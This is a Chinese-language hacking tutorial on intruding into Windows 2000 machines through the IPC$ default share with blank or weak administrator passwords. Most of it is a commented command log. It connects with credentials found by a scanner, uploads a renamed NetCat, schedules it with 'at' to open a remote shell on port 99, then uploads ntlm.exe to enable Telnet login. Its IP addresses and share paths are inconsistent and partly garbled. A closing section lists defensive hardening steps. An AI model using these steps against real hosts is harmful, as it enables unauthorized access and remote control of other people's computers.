IPC$入侵
IPC$是Windows的默认共享。其实,这个共享并没有什么漏洞。
我们可以用主机的管理员用户名和密码连接。
问题就出在管理员密码了。直至现在为止,世界上起码有20%的人,把主机密码设置为“空”或者“123”等简单密码。
我们要寻找这些主机十分简单。只需要一个程序就可以。
下面,我会把以前写的一篇IPC$入侵文章,进行小小的修改。
本次范例需要的系统及程序情况如下:
操作系统:Windows 2000
对方操作系统:Windows 2000
程序(一):流光 IV 国际版 (Fluxay Release IV Build 2914 International Edition For NT/2000/XP)
程序(二):Srv.exe
程序(三):Ntlm.exe
本机IP:127.0.0.1
测试IP:127.0.0.25
新程序介绍:
Srv.exe:实际上是NetCat,这里改名为Srv.exe。用于在主机建立一个端口为99的shell。
Ntlm.exe:是小榕写的一个程序,用于修改Windows 2000 Telnet Servery身份验证的方式。
关于扫描的方法,在流光的help目录有一个ipc.mht的文件。里面有使用说明。
假设,我们扫描了一台IPC$主机:127.0.0.25
用户名:davis
密码:空
“//”后是注解。
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
D:>net use /217.0.0.25$ "" /user:"davis" //这是我用流光扫到的密码~~~我们就拿它开刀吧~!
命令成功完成。
D:>copy srv.exe /217.0.0.25$ //先复制srv.exe上去,在流光的Tools目录就有。
已复制 1 个文件。
D:>net time /217.0.0.25 //查查时间。
/217.0.0.25 的当前时间是 2001/1/17 上午 10:48
命令成功完成。
D:>at //217.0.0.25 10:50 srv.exe //用at命令启动srv.exe吧~!(这里设置的时间要比主机时间快)先去论坛灌几篇帖子。
新加了一项作业,其作业 ID = 1
D:>net time //217.0.0.25 //再查查够时间没有?!噢~~够了~
217.0.0.25 的当前时间是 2001/1/17 上午 10:51
命令成功完成。
D:>telnet 217.0.0.25 99 //我们telnet吧,注意端口是99哦~
Microsoft Windows 2000 [セ 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:> //噢~~成功了!
D:>copy ntlm.exe //217.0.0.25$ //我们再开一个DOS窗口,把ntlm.exe上传到主机上。(也是在流光流光的Tools目录)
已复制 1 个文件。
Microsoft Windows 2000 [セ 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:>ntlm //我们输入ntlm启动吧。
ntlm
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done! //OK~:)
C:>
C:>net start telnet //然后直接用net start telnet启动telnet.
net start telnet
Telnet 狝叭タ币笆 .
Telnet 狝叭竒币笆Θ //直觉告诉我成功了~!(没办法,这里是乱码)
C:>
C:> //这个窗口已经没用了,关了他吧!
D:>telnet 127.0.0.25 //我们在开一个DOS窗口,然后telnet上去。
NTLM Authentication failed due to insufficient credentials. Please login with
clear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login: davis //输入用户名
password: //输入密码(密码是空的,所以不用输入)
如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
5设置复杂密码,防止通过ipc$穷举密码